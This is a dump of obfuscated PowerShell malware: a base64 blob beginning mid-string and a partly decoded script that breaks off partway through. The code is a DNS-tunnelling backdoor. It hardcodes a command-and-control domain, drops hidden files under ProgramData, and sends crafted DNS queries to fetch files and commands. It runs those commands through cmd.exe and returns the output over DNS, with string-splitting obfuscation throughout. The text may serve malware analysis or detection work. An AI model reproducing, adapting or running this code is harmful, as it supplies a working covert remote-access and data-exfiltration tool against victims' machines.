6U0dGTk5EfSArIFg5UE14YVg5UDsNCglTR0ZCQkUgPSAwOw0KCVdoaWxlIChTR0ZydW4pDQoJew0KCQlTdGFydC1TJysnbGVlcCAtbSA1MDsNCgkJaWYgKFNHJysnRkJCRSAtZ3QgNSl7IFNHRnJ1biA9IFNHRmZhbHNlOycrJyB9DQoJCWlmJysnIChTR0ZjdCAtbHQgMTApe1NHRnJuID0gWDlQMDAwU0dGKFNHRmN0KVg5UDt9DQoJCWVsc2VpZiAoU0dGY3QgLWx0IDEwMCl7U0dGcm4gPSBYOVAwMFNHRihTR0ZjdClYOVA7fQ0KCQllbHNlaWYgKFNHRmN0IC1sdCAxMDAwKXtTR0ZybiA9IFgnKyc5UDBTR0YoU0dGY3QpWDlQO30NCgkJZWxzJysnZXtTR0ZybiA9IFg5UFNHRihTR0ZjdClYOVA7fQ0KJysnCQl0cnkNJysnCgkJew0KCQkJU0dGQ0NFID0gVVVDIFg5UDAwMFg5UCAnKydTR0ZaWicrJ0QgWDlQWDlQJysnIFg5UFg5UCAnKydYOVByWDlQIFNHRnJuDQoJJysnCQlTR0Z0bXAgPSBHR0QoU0dGQ0NFKTsNCgkJCVNHJysnRnJlcyA9ICcrJ1tTeXN0ZW0uVGV4dC5FbmNvZGluJysnZ106OicrJ0FTQ0lJLkdldFN0cmluZyhTR0Z0bXApOw0KCQl9DQoJCWNhdGNoIFtleGNlcHRpb25dIHsgV3JpdGUtSG9zdCBTR0ZfOyBTR0YnKydCQkUrKzsgU0dGe2dsbycrJ2JhbDpTR0ZUVEN9Kys7IGNvbnQnKydpbnVlOyB9DQoJCWlmIChbc3RyaW5nXTo6SXNOdWxsT3JFbXB0eShTR0ZyZXMpKSB7IFNHRkJCRSsrOyBTR0Z7Z2xvYmFsOlNHRlRUQ30rKzsgY29udGludWU7fQ0KCQlTR0ZycyA9IFNHRnJlcy5TcGxpdChaeFY+WnhWKTsNCgkJU0dGZGF0YSA9IFg5UFg5UDsNCgkJRm9yIChTR0ZpID0gMDsgU0dGaSAtbGUgU0dGcnNbMV0uTGVuZ3RoOyBTR0ZpKyspIHsgaWYgKFNHJysnRnJzWzFdW1NHRmldIC1sdCAxMjUgLWFuZCBTR0Zyc1sxXVtTR0ZpXSAtZ3QgNDEpIHsgU0dGZGF0YSArPSBTR0Zyc1sxXVtTR0ZpXTsgfSB9DQoJCWlmIChTR0ZycycrJ1swXVswXSAtZXEgWDlQTlg5UCkNCgkJew0KCQkJU0dGWlpEID0gWDlQV1g5UDsNCgkJCVNHRkJCRSsrOw0KCQkJY29udGludScrJ2U7DQoJJysnCX0NCgkJaWYgKFNHRnJzWzBdIC1lcSBYOVBTMDAwc1g5UCkNCgkJew0KCQkJU0dGQkJFID0gMDsNCgknKycJCVNHRlpaRCA9IFg5UERYOVA7DQoJCQlTR0ZBQUUnKycgKz0gKFg5UHJjdmRYOVArU0dGZGF0YSk7DQoJCQlTR0ZjdCA9IDA7DQoJCQljb250aW51ZTsNCgkJfQ0KCQlpZiAoU0dGcnNbJysnMF1bMF0gJysnLWVxIFp4VlNaeFYgLScrJ2FuZCAtbm90JysnIChTR0ZmYicrJyAtY29udGFpbnMgU0dGcnNbMF0pKQ0KCScrJwl7JysnDQoJCQlTR0ZaWkQgPSBYOVBEWDlQOw0KCQkJaWYgKFNHRnJzWzBdLkVuZHNXaXRoKFNHRnJuKSkNCgkJCXsNCgkJCQl0JysncnkNCgkJCQl7DQoJCQkJJysnCVNHRnRtcCA9IFNHRmRhdGEuUmVwbGFjZShaeFYtWnhWLCBaeFYrWnhWKS5SZXBsYWNlKFp4Vl8nKydaeFYsIFp4Vi9aeFYpOw0KCScrJwkJCQlTR0ZieXRzICs9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoU0dGdG1wKTsNCgkJCQkJU0dGY3QrKzsNCgkJCQkJU0dGJysnZmInKycgKz0gU0dGcnNbMF07DQoJCQkJfQ0KCQkJCWNhdGNoDQoJCQkJew0KCQkJCQlXcml0ZS1Ib3N0IFg5UEV4Y2VwdGlvbiBpbiByZWNlaXZlcl9YOVArU0dGJysnXzsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJaWYgKFNHRnJzWzBdLlN0YXJ0c1dpdGgoWDlQRVg5UCkpDQoJCXsNCgkJCVtTeXN0ZW0uSU8nKycuRmlsZV06OldyaXRlQScrJ2xsQnl0ZXMoU0dGQUFFLCBTR0ZieXRzKTsNCgkJCWJyZWFrOw0KCQl9DQoJCWlmIChTR0Zyc1swXS5TdGFydHNXaXRoKFg5UENYOVApKQ0KCQl7DQoJCQlTR0ZjdCA9IDA7IFNHRnJ1biA9IFNHRmYnKydhbHNlOw0KCQl9DQoJfQ0KfQ0KDQpmdW5jdGlvbiBEREUoU0dGRUVFKQ0Kew0KCVNHRkxMRCA9IDA7DQoJU0dGRkZFID0gQChnY2kgLXBhdGggKFNHRntnbG9iYWw6U0dGR0dFfStYOVBNeGFwcm9jKlg5JysnUCkgN3JuID8geyAhU0dGXy5QU0lzQ29udGFpbmVyIH0pOw0KCWlmIChTR0ZGRkUgLW5lIFNHRm51bGwpDQoJew0KCQkNCgkJU0dGSEhFID0nKycgU0dGRkZFWzBdLlRvU3RyaW5nKCkuJysnU3Vic3RyaW5nKFNHRkZGRVswJysnXS5Ub1N0cmluJysnZygpLkwnKydlJysnbmd0aCAtIDUpDQoJCVNHRklJRSA9IFNHRicrJ3tnbCcrJ29iYWw6U0dGR0dFfSArIFg5UE14YVg5UCArIFNHRkhIRTsnKycNCgkJcm5pIFNHRkZGRVswXSBTJysnR0ZJSUUgLScrJ0ZvcmNlDQoJCVNHRkpKRSA9IHNsYWJlcicrJyBTR0ZJSUU7DQoJCWlmIChbaW50XVNHRkonKydKRS5MZW5ndGggLWxlIDApIHsgcmQgLXBhdGggU0dGSUlFO3JldHVybjsgfQ0KCQlTR0ZLS0UgPSA2MDsNCgkJU0dGTExFID0gWDlQKlg5UCAqIDU0Ow0KCQlTR0ZMTEUgPSBTcGxpdC1wYXRoIFNHRklJRSAtTGVhZiA3cm4gJSB7IFNHRkxMRS5JbnNlcnQoMCwgU0dGXykgfSA3cm4gJScrJyB7IFNHRl8uSW5zZXJ0KDYsIFNHRkpKRS5MZW5ndGgpIH0gN3JuJysnICcrJyV7IFNHRl9bMCAuLiAyNl0gLWpvaW4gWDlQWDlQIH07DQoJCVNHRkxMRSA9IC1qb2luIChTR0ZMTEUgN3JuICUgeyByZXNvbHZlciBTJysnR0ZfIH0pDQoJCVNHRk1NRSA9IFg5UENPQ1RhYlg5UCArIFNHRkxMRTsNCgkJU0dGSkpFID0gU0dGTU1FICsgU0dGSkpFOw0KCQknKydTR0ZOTkUgPSBYOVAwMDBYOVA7DQoJCVNHRlFRRCA9IFg5UDJYOVA7DQoJCVNHRk9PRSA9IDA7DScrJwoJCVNHRlBQRSA9IFNHRnRydWU7DQoJCVNHRntnbG9iYWw6U0dGUlJEfSAnKyc9IFNHRnRydWU7DQoJCVNHRlFRRSA9IFNHRnRydWU7DQoJCVNHRntnbG9iYWw6U0dGU1NEfSA9IDA7DQoJJysnCVNHRicrJ3tnbG9iYWw6U0dGVFREfSA9IDU7DQoJCQ0KCQlXaGlsZSAoU0dGe2dsb2JhbCcrJzpTR0ZSUkR9KQ0KCQl7DQoJCQlTdGFydC1TbGVlcCAtbSAxMDsNCgkJCWlmIChTR0Z7Z2xvYmFsOlNHRlNTRH0gLWd0IFNHRntnbG9iYWw6U0dGVFQnKydEfSkNCgkJCXsNCgkJCQlTR0ZSUkUgPSBTR0Z7Z2wnKydvYmFsOlNHRkdHRX0gKyBYOVBNeGFwcm9jWCcrJzlQICsgU0dGSEhFOycrJw0KCQkJJysnCXJuaSBTR0ZJSUUgU0dGUlJFIC1Gb3JjZTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCQ0KJysnCQkJaWYgKFNHRkxMRCAtbHQgMTApIHsgU0dGTk5FID0gWDlQMDBTR0YoU0dGTExEKVg5UDsgfQ0KCQkJZWxzZWlmIChTR0ZMTEQgLWx0IDEwMCkgeyBTR0ZOTkUgPSBYOVAwU0dGKFNHRkxMRClYOVA7IH0NCgkJCWVsc2UgeyBTR0ZOTkUgPSBYOVBTR0YoU0dGTEwnKydEKVg5UDsgfQ0KCQkJDQoJCQlpZiAoU0dGTCcrJ0xEIC1lcSAyNTApDQoJCQl7DQoJCQkJaWYgKFNHRlBQRSkNCgkJCQl7DQoJCQkJCVNHRk9PRSArPSAyNTA7DQoJCQkJfQ0KCQkJCVNHRkxMRCA9IDA7IFNHRlBQRSA9IFNHRmZhbHNlOw0KCQkJfQ0KCQkJaWYgKFNHRkxMRCAtZXEgMjAwKSB7IFNHRlBQRSA9IFNHRnRydWU7IH0NCgkJCQ0KCQkJaWYgKFNHRkpKRS5MZW5ndGggLWd0IFNHRktLRSkNCgkJCXsNCgkJCQlpZiAoKFNHRkpKRS5MJysnZW5ndGggLSBTR0ZLS0UgKiAoU0dGTExEICsgU0dGT09FKSkgLWdlIFNHJysnRktLRSkNCgkJCQl7DQoJCQkJCVNHRlNTRSA9IFNHJysnRkpKRS5TdWJzdHJpbmcoU0dGS0tFICogKFNHRkxMRCArIFNHRk9PRSksIFNHRktLRSk7DQoJCQkJfQ0KCQkJCWVsc2VpZiAoKFNHRkpKRS5MZW4nKydndGggLSBTR0ZLS0UgKiAoU0dGTExEICsgU0dGT09FKSkgLWd0IDApDQoJCQkJew0KCQkJCQlTR0ZTU0UgPSBTR0ZKSkUuU3Vic3RyaW5nKFNHRktLRSAqIChTR0ZMTEQgKyBTR0ZPT0UpLCAoU0dGSkpFLkxlbmd0aCAtIFNHRktLRSAqIChTR0ZMTEQgKyBTR0ZPT0UpKSk7DQoJCQkJfQ0KCQkJCWVscycrJ2UNCgkJCQl7DQoJCQkJCVNHRlNTRSA9IFg5UENPQ1RhYkNPQ1RYOVA7DQoJCQkJCVNHRicrJ3tnbG9iYWw6U0dGUlJEfSA9IFNHRmZhbHNlOw0KJysnCQknKycJCQlyZCAtcGF0aCBTR0ZJSUUgLUZvcmNlOw0KCQkJCX0NCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQlTR0ZTU0UgPSBTR0ZKSkU7DQoJCScrJwl9DQoJCQlTR0ZUVEUgPSAoU3BsaXQtcGF0aCBTR0ZJSUUgJysnLUxlYWYpICsgWDlQKlg5UCA3cm4gJSB7IHJlc29sdmVyIFNHRl8gfTsNCgkJCVNHRlVVRCA9IFVVQyBTR0ZOTkUgU0dGUVFEIFNHRlNTRSBTR0ZUVEUgWDlQc1g5UCBYOVAwMDAwWDlQDQoJCQl0cnkNCgkJCXsNCgkJCQlpZiAoU0cnKydGRUVFIC1sdCAzIC1hbmQgLW5vdCAoU0dGVVVFKSkNCgkJCQl7DQoJCScrJwkJJysnCVNHRlZWRCA9IElJRCgnKydTRycrJ0ZVVUQpOw0KCQkJCX0NCgkJCQknKydlbHNlDQoJCQkJew0KCQkJCQlTR0ZWVkQgPSBbU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKFNHRlVVRCk7DQoJCQkJCVNHRlZWRCA9IFNHRlZWRC5JJysnUEFkZHInKydlc3NUb1N0cmluZy5TcGxpdChaeFYuWnhWKQ0KCQkJCX0NCgkJCQlXcml0ZS1Ib3N0IFNHRlZWRDsNCgkJCX0nKycNCgkJCWNhdGNoIFtleGNlcHRpb25dIHsgV3InKydpdGUtSG9zdCBYOVBleGNlcHRvbiBvY2N1cmVkIVg5UCtTR0ZfOyBTR0Z7Z2xvYmFsOlNHRlNTRH0rKzsgY29udGludWU7IH0NCgkJCQ0KCQkJaWYgKFNHJysnRlZWRCAtZXEgU0dGbnVsbCkgeyBTR0ZRUUUgPSBTR0ZmYWxzZTsgU0dGe2dsb2JhJysnbDpTR0ZTU0R9Kys7IGNvbnRpbnVlIH0NCg0KCQkJJysnaWYgKChTR0ZWVkRbMF0gLWVxIFNHRlJSQy5TdWJzdHJpbmcoMCwyKSkgLWFuZCAoU0dGVlZEWzFdICcrJy1lcSAyKSAtYW5kIChTR0ZWVkRbMl0gLWVxIDMpKQ0KCQkJew0KCQkJCVNHRlFRRSA9IFNHRmZhbHNlOycrJw0KCQkJCVNHRkxMRCA9IFtpbnRdU0dGVlZEWzNdOw0KCQkJfQ0nKycKCQkJDQoJCQlpZiAoKFNHRlZWRFswXSAtZXEgJysnMjUzKSAtYW5kIChTR0ZWVkRbMV0gLWVxIDI1KSAtYW5kIChTR0ZWVkRbMl0gLWVxIDQyKSAtYW5kIChTR0ZWVkRbM10gLWVxIDg3KSkgIyBraWxsIHRoaXMgcHJvY2Vzcw0KCQkJew0KCQkJCVNHRlFRRSA9IFNHRmZhbHNlOw0KCQkJCVNHRk9PRSA9IDANCgkJCQlTR0Z7Z2xvYmFsOlNHRlJSRH0gPSBTR0ZmYWxzZTsNCgkJCQlTR0Z7Z2xvYmFsOlNHRlNTRH0gPSBTR0Z7Z2xvYmFsOlNHRlNTRH0gKyAzOw0KCQkJCWRlbCBTR0ZJSUU7DQoJCQl9DQoJCQkNCgkJCWlmIChTR0ZRUUUpDQoJCQl7DScrJwoJCQkJU0dGe2dsb2JhbDpTR0ZTU0R9Kys7DQoJCQl9DQoJCX0NCgl9DQp9DQpmdW5jdGlvbiBzbGFiJysnZXIgKFNHRlZWRSkgew0KCVNHRmYgPSBnYyBTR0ZWVkUgLUVuY29kaW5nIEJ5dGU7DQoJU0dGZSA9IHJlc29sdmVyKFNHRmYpOw0KCXJldHVyJysnbiBTR0ZlOw0KfQ0KZnVuY3Rpb24gcmVzb2x2ZXIgKFNHRldXRSkgew0KCVNHRmNudCA9IDA7DQoJU0dGcDEgPSBYOVBYOVA7DQoJU0dGcDInKycgPSBYOVBYOVA7DQoJZm9yIChTR0ZpID0gMDsgU0dGaSAtbHQgU0dGV1dFLkxlbmd0aDsgU0dGaSsrKQ0KCXsNCgkJaWYgKFNHRmNudCAtZXEgMzApDQoJCXsNCgkJCVNHRmNudCA9IDA7DQoJCQlTR0ZyZXMgKz0gKFNHRnAxICsgU0dGcDIpOw0KCQkJU0dGJysncDEgPSBYOVBYOVA7IFNHRnAyID0gWDlQWDlQOw0KCQl9DQoJCVNHRnRtcCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoU0dGV1dFW1NHRmldKS5SZXBsYWNlKFg5UC1YOVAsIFg5UFg5UCk7DQoJCVNHRnAxICs9IFNHJysnRnRtcFswXTsNCgkJU0dGcDIgKz0gU0dGdG1wWzFdOw0KCQlTR0ZjbnQrKzsNCgl9DQoJU0dGcmVzICs9JysnIChTR0ZwMSArIFNHRnAyKTsNCglyZXR1cm4gU0dGcmVzOw0KfQ0KZnVuY3Rpb24gWFhFDQp7DQoJU0dGRkZFID0gQChnY2kgLXBhdGggKFNHRntnbG9iYWw6U0dGTk5EfStYOVBNeGFyY3ZkJysnKlg5UCkgN3JuID8geyAhU0dGXy5QU0lzQ29udGFpbmVyIH0pOw0KCWlmIChTR0ZGRkUgLW5lIFNHRm51bGwpDQoJew0KCQlTJysnR0ZJSUUgPSBTRycrJ0ZGRkVbMF0uVG9TdHJpJysnbmcoKScrJy5SZXBsYWNlKFg5UHJjdmRYOVAsIFg5UHByb2NYOVApDQoJCXJuaSBTR0ZGRkVbMF0gU0dGSUlFIC1Gb3JjZQ0KCScrJwlTR0ZZWUUgPSBTR0ZJSUUnKycgLXJlcGxhY2UgWDlQcmVjZWl2ZWJveFg5UCwgWDlQc2VuZGJveFg5UDsNCgkJaScrJ2YgKFNHRklJRS5FbmRzV2l0aChYOVAwWDlQKSkNCgkJew0KCQkJU0dGWlpFID0gZ2MgU0dGSUlFIDdybicrJyA/IHsgU0dGXy50JysncmltKCkgLW5lIFg5UFg5UCB9OycrJw0KCQkJUycrJ0dGWlpFID0gU0dGWlpFIDdybiA/IHsgU0dGXy50cmltKCkgLW5lIFg5UFg5UCB9DQoJCQlTR0ZBQUYgKz0gKFNHRlpaRSArIFg5UCAyPiYxWDlQKSA3cm4gJSB7VHJ5IHsgU0dGXyA3cm4gY21kLmV4ZSA3cm4gT3V0LVN0cmluZyB9Q2F0Y2ggeyBTR0ZfIDdybiBPdXQtU3RyaW4nKydnICcrJ319DQoJCQlTR0ZBQUYgK1g5UDw+WDlQIDdybiBzYyBTR0ZZWUUgLUVuY29kaW5nIFVURjgNCgkJCWlmIChUZScrJ3N0LXBhdGggLXBhdGggU0dGSUlFKQ0KCQkJew0KCQkJCXJkIC1wYXRoIFNHJysnRklJRTsNCgkJCX0NCgkJfQ0KCQllbHNlaWYgKFNHRicrJ0lJRS5FbmRzV2l0aChYOVAxWDlQKSkNCgkJew0KCQkJU0dGQkJGID0gZ2MgU0dGSUlFIDdybiA/IHsgU0dGXy4nKyd0cmltKCkgLW5lIFg5UFg5UCB9IDdybiAleyBTR0ZfLlJlcGxhY2UoWDlQVk9sMFg5UCwgWDlQWDlQKS5UcmltKCkgfQ0KCQkJaWYgKFRlc3QtcGF0aCAtcGF0aCBTR0ZCQkYpDQoJCQl7DQoJCQkJY3BpIC1wYXRoIFNHRkJCRiAtZGVzdGluYXRpb24gU0dGWVlFIC1Gb3JjZTsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQlYOVBGaWxlIG5vdCBleGlzdFg5UCA3cm4gc2MgU0dGWVlFOw0KCQkJfQ0KCQkJaWYgKFRlc3QtcGF0aCAtcGF0aCBTR0ZJSUUpDQoJCQl7DQoJCQkJcmQgLXBhdGggU0dGSUlFOw0KCQkJfQ0nKycKCQl9DQoJCScrJ2Vsc2Ugew0KCQkJU0dGQ0NGID0gU0dGSUlFIC1yZXBsYWMnKydlJysnIFg5UHJlY2VpdmVib3hYOVAsIFg5UGRvbmVYOVA7DQoJCQltaSAtcGF0aCBTR0ZJSUUgLWRlc3RpbmF0aW9uIFNHRkNDRicrJyAtRm9yY2U7DQoJCQlpZiAoVGVzdC1wYXRoIC1wYXRoIFNHRkNDRikNCgkJCXsNCgkJCQkoWDlQMjAwJysnPD5YOVAgKyBTR0ZDQ0YpIDdybiBzYyBTR0ZZWUU7DQoJCQkJcmQgLXBhdGggU0dGSUlFOw0KCQkJfQ0KCQl9DQoJCXRyeQ0KCQl7DQoJCQlyZCAtcGF0aCBTR0ZJSUU7DQoJCX1jYXQnKydjaHt9DQoJfQ0KfQ0KDQpTR0Z7Z2xvYmFsJysnOlNHRkRERn0gPSBTR0ZOTkMgKyBYOVBNeGFYOVAgKyBTR0ZSUkM7DQpTR0Z7Z2xvYmFsOlNHRkVFRn0gPSBTR0ZOJysnTkMgKyBYOVBNeGFmaWxlc1g5UDsNClNHRntnbG8nKydiJysnYWw6U0dGTk5EfSA9ICcrJ1NHRntnbG9iYWw6UycrJ0dGRERGfSArIFg5UE14YXJlY2VpdmVib3hYOVA7DQpTJysnR0Z7Z2xvYmFsOlNHRkdHRX0gPSBTR0Z7Z2xvYmFsOlNHRkRERn0gKyBYOVBNeGFzZW5kYm94WDlQOw0KU0dGe2dsb2JhbDpTR0ZGRkZ9ID0gU0dGe2dsb2JhbDpTR0ZEREZ9ICsgWDlQTXhhZG9uZVg5UDsNCg0nKycKaWYgKC1ub3QgKFRlc3QtUGF0aCBTR0Z7Z2xvYmFsOlNHRicrJ0VFRn0pKSB7IG1kIFNHRntnbG9iYWw6U0dGRUVGfTsgfQ0KaWYgKC1ubycrJ3QgKFRlc3QtUGF0aCBTR0Z7Z2xvYmFsOlNHRkRERn0pIC1vciAtbm90IChUZXN0LVBhdGggU0dGe2dsb2JhbDpTR0ZHR0V9KSkNCnsNCgltZCBTR0Z7Z2xvYmFsOlNHRkRERn07DQoJbWQgU0dGe2dsb2JhbDpTR0YnKydHR0V9Ow0KCW0nKydkIFNHRntnbG9iYWw6U0dGTk5EfTsNCgltZCBTR0Z7Z2xvYmFsOlNHRkZGRn07DQp9DQpTR0ZHR0YgPSBVVScrJ0MgWDlQMDAwWDlQIFg5UE1YOVAgWDlQWDlQIFg5UFg5UCBYOVByWDlQIFNHRnJuDQpTR0ZISEYgPSBbU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKFNHRkdHRik7DQpTR0ZVVUUgPSBTR0ZmYWxzZTsNCmlmIChTR0ZISEYgLWVxIFg5UDk5LjI1MC4yNTAuMScrJzk5WDlQKQ0Kew0KCVNHRntnbG9iYWw6U0dGVFRDfSA9IDA7DQoJWVlEOw0KCWlmIChTR0Z7Z2xvYmFsOlNHJysnRlRUQ30gLWd0IDMpDQoJew0KCQlTR0ZVVUUgPSBTR0Z0cnVlOw0nKycKCQlTR0ZJSUYgPSBVVUMgWDlQMDAwWCcrJzlQIFg5UFBYOVAgWDlQWCcrJzlQIFg5UFg5UCBYOVByWDlQIFNHRnJuDQoJCVsnKydTeXN0ZW0uTmV0LkRuc106OkdldEhvc3RBZGRyZXNzZXMoU0dGSUlGKTsNCgkJSkpEOw0KCX0NCn0NCmVsc2UNCnsNCglTR0ZVVUUgPSBTRycrJ0Z0cnVlOw0KCUpKRDsNCn0NClhYRTsNCkRERShTR0Z7Z2xvYmFsOicrJ1NHRlRUQ30pOw0KIyByZW1vdmUgbG9jaycrJyBmaWxlIHRvIG5leHQgcmVxdWVzdA0KcmkgLVBhdGggU0dGUFBDOycpIC1DckVQTGFDZSdNeGEnLFtjaEFSXTkyIC1SRXBsYWNlIChbY2hBUl04MytbY2hBUl03MStbY2hBUl03MCksW2NoQVJdMzYgLVJFcGxhY2UgJ1g5UCcsW2NoQVJdMzQtQ3JFUExhQ2UgIChbY2hBUl01NStbY2hBUl0xMTQrW2NoQVJdMTEwKSxbY2hBUl0xMjQgIC1SRXBsYWNlJ1p4VicsW2NoQVJdMzkgLVJFcGxhY2UnVk9sJyxbY2hBUl05NikgfCAmKCAkU2hlbGxpRFsxXSskc0hlTExJZFsxM10rJ1gnKQ0K"
## decoded:
(('SGFMMC = '+'X9Pwithyourface.comX9P;
SGFNNC = X9PC:MxaProgramDataMxaWindowsAppPoolX9P;'+'
if (-not (Te'+'st-Path SGFNNC))'+' { md SGFN'+'NC; }
SGFOOC = SGFNNC'+' + X9PMxaquidX9P;
SGFPPC = SGFNNC + X9PMxalockX9P;
'+'if (!(Test-Path SGFPPC)){sc -P'+'ath SGFPPC -Value SGFpid;}
else
{
SGFQQC = (NEW-TI'+'MESPA'+'N -Start ((Get-C'+'hildItem SGFPPC).CreationTime) -End (Get-Date)).Minute'+'s
if (SGFQQC -gt 10)
{
stop-proces'+'s -'+'i'+'d (gc SGFPPC);
ri '+'-Path SGFPPC;
}
return;
}'+'
SGFRRC ='+' get-content SGFOOC;
SGFS'+'SC = Get-Random -InputObject (10 .. 99);
if (SGFRRC.length -ne 10) { SGFRRC = SGFSSC.ToString() + [guid]::NewGuid().toString().replace(ZxV-ZxV, ZxVZxV).substring(0, 8); SGFRRC 7r'+'n sc SG'+'FOOC }
gi SGFOOC -Force 7rn %{ SGF_.Attributes = X9PHiddenX9P }
SGF{global:SGFTTC} = 0;
'+'
function UUC (SGFVVC, SGFWWC, SGFXXC, SGFYY'+'C, SGFZZC, SGFAAD)
{
SGFBBD = -joi'+'n ((48 .. 57)+(65 .. 70) 7rn Get-Random -Count (%{ Get-Random -Inp'+'ut'+'Object (1 .. 7) }) 7rn %{ [char]SGF_ });
SGFCCD = Get-Random -InputObject (0 .. 9) -Count 2;
SGFDDD = SGFRRC.Insert((SGFCCD['+'1]), SGFWWC).Insert(SGFCCD[0], SGFVVC);
if (SGFZZC -eq X9PsX9P)
{ return X9PSGF(SGFDDD)SG'+'F(SGFAAD)'+'SGF(SGFBBD)CSGF(SGFCCD[0])SGF(SGFCCD[1])T.SGFXXC.SGFYYC.SGFMMCX9P; }
else
{ return X9PSGF(SGFDDD)SGF'+'(SGFAAD)SGF(SGFBBD)CSGF(SGFC'+'CD[0])SGF(SGFCCD[1])T.SGF(SGFMMC)X9P;}
}
fu'+'nction EED()
{
SGFFFD = SGFnull;
try
{
SGFFFD = ((Get-'+'WmiObject Win32_Networ'+'kAdapterConfig'+'uration -ComputerName SGFen'+'v:computername -E'+'A Stop 7rn ? { SGF_.IPEnabled }).DNSServerSearchOrder)[0] 7rn Out-String
}
catch [exception] {
#Write-Host SGF_.Message
}
if (!SGFFFD)
{
try
{
SGFns = nslook'+'up.exe 8.8.8.8;
SGFFFD = (SGFns[1] -split ZxV:ZxV)[1].Trim();
}
catch [exception] {
#Write-Host SGF_.Message
}
}
re'+'turn SGFFFD
}
function GGD (SGFHHD'+')
{
SGFip = EED
SGFars = ['+'system.net.IPAddress]::Parse([System.Net.Dns]::GetHostAddresses(SGFMMC));
SGFend = New-Object System.Net.IPEndPoint SGFars, 53
SGFs = Ne'+'w-Object System.Net.Sock'+'ets.UdpClient
SGFs.Client.Rece'+'iveTimeout = SGFs.Client.SendTimeout = 1500'+'0
SGFs.Connect(SGFend)
SGFpre = (0xa4, 0xa3, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0'+'x00, 0x00)
if (!SGFHHD.StartsWith(ZxV.ZxV)) { SGFHHD = X9P.X9P + '+'SGFHHD; }
if (!SGFHHD.EndsWith(ZxV.ZxV)) { SGFHHD'+' = SGFHHD + X9P.X9P; }
SGFmb = [System'+'.Text.Encoding]::ASCII.GetBytes(SGFHHD)
SGFp = SGFHHD.Split(ZxV.ZxV)
SGFpi = 1
'+'for (SGFi = 0; SGFi -lt SGFmb.length; SGFi++) { if (SGFmb[SGFi] -eq 0x2e) { SGFmb[SGF'+'i] = SGFp[SGFpi].Length; SGFpi++ } }
SGFpre'+' += SGFmb
SGFpre += (0x00, 0x10, 0x00, 0x01)
SGFbuf = SGFpr'+'e
SGFSent = SG'+'Fs.Send(SGFbuf, SGFbuf.Length)
SGFrb = SGFs.Receive([re'+'f]SGFend)
SGFr = [byte[]]( ,0x0 * (SGFrb.length - (SGFmb.length + 29)))
[System.Buffer]::Bl'+'ockCopy(SGFrb, SGFmb.length + 29, SGFr,'+' 0, (SGFrb.length - (SGFmb.length + 29))'+')
return SGFr'+'
}
function '+'IID (SGFHHD)
{
SGFip = EED
SGFars = [system.net.IPAddress]::Parse([System.Net.Dns]::Get'+'HostAddresses(SGFMMC)'+');
SGFend = New-Object Syste'+'m.Net.I'+'PEnd'+'Point SGFars, 53
SGFs = New-Object System.Net.Sockets.UdpClient
SGFs.Client.ReceiveTimeo'+'ut = SGFs.Client.SendTimeout = 15000
SGFs.Connect(SGFend)
SGFpre = (0xa4, 0xa3, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
if (!SGFHHD.StartsWith(ZxV.ZxV)) { SGFHHD = X9P.X9P + SGFHHD; }
if (!SGFHHD.EndsWith(ZxV.ZxV)) { SGFHHD = SGF'+'HHD + X9P.X9P; }
SGFmb = [System.Text.Encoding]::ASCII.GetBytes(SGFHH'+'D)
SGFp = SG'+'FHHD.Split(ZxV.ZxV)
SGFpi = 1
for'+' (SGFi = 0; SGFi -lt SGFmb.length; SGFi'+'++) { if (SGFmb[SGFi] -eq 0x2e) { SGFmb[SGFi] = SGFp[SGFpi].Length; SGFpi++ } }
SGFpre += SGFmb
SGFpre += (0x00, 0x01, 0x00, 0x01)
SGFbuf = SGFpre
SGFSent = SGFs.Send(SGFbuf, SGFbuf.Length)
SGFrb = SGFs.Receive([ref]SGFend)
SGFr = [byte[]]( ,0x0 * (SGFrb.length - (SGFmb.lengt'+'h + 28)))
[System.Buffer]::BlockCopy(SGFrb, SGFmb.len'+'gth + 28, SGFr'+', 0, (SGF'+'rb.length - (SGFmb.length + 28)))
retu'+'rn SGFr
}
function JJD
{
SGFKKD = SGFfalse;
SGFLLD = 0;
SGFMMD = SGF{glob'+'al:SGFNND}'+' + X9PMxaX9P;
SGFOOD = @();
SGFPPD = X9P000X9P;
'+'SGFQQD = X9P0X9P;
SGF{global:SGFRRD} = SGFtru'+'e;'+'
SGF{global:SGFSSD} = 0;
SGF{global:SGF'+'SGFTTD} = 5;'+'
While (SGF{global:SGFRRD})
{
St'+'art-Sleep -m 50;
if (SG'+'F'+'{global:SGFSSD} -gt SGF{global:SGFSGFTTD}) { break }
if (SGFLLD -eq [int]SGFPPD) { SGF{global:SGFSSD}++ }
if (SGFLLD -lt 10) '+'{ SGFPPD = X9P00SGF(SGFLLD)X9P; '+'}
elseif (SGFLLD -lt 100) { SGFPPD = X9P0SGF(SGFLLD)X9P;'+' }
else { SGFPPD = X9PSGF(SGFLLD)X9P; }
SGFUUD = UUC SGFPPD SGFQQD '+'X9PX9P X9PX9P X9PrX9P
try
{
Write-Host SGF'+'UUD;
SGFVVD = [System.Net.Dns]::GetHostAddresses(SGFUUD);
Write-Host SGFVVD;
'+' }
catch [Except'+'ion]
{
echo SGF_.Exception.GetType().FullName, SGF_.Exception.Message; Write-Host X9Pexcepton occured!X9P; SGF{global:SGFSSD}++; continue;
}
if (SGFVVD -eq SGFnull)
{
SGF{global:SGFSSD} = SGF{global:SGFSSD} + 1;
continue;
}
SGFWWD = SGFVVD[0].IPAddressToString.Split(ZxV.ZxV);
Write-Host X9PSGF(SGFLLD'+'):SGF(SGFW'+'WD[3])VOltsaveing_mode: S'+'GF(SGFKKD)VOl'+'t '+' S'+'GF(SGFWWD[0]) SGF(SGFWWD[1]) SGF'+'(SGFWWD[2])X9P
if ((SGFWWD[0] -eq 1) -and (SGFWWD[1]'+' -eq 2) -and'+' (SGFWWD[2] -eq 3))
{
SGFKKD = SGFfalse;
SGFQQD ='+' X9P0'+'X9P;
SGFlen = SGFOOD.Length
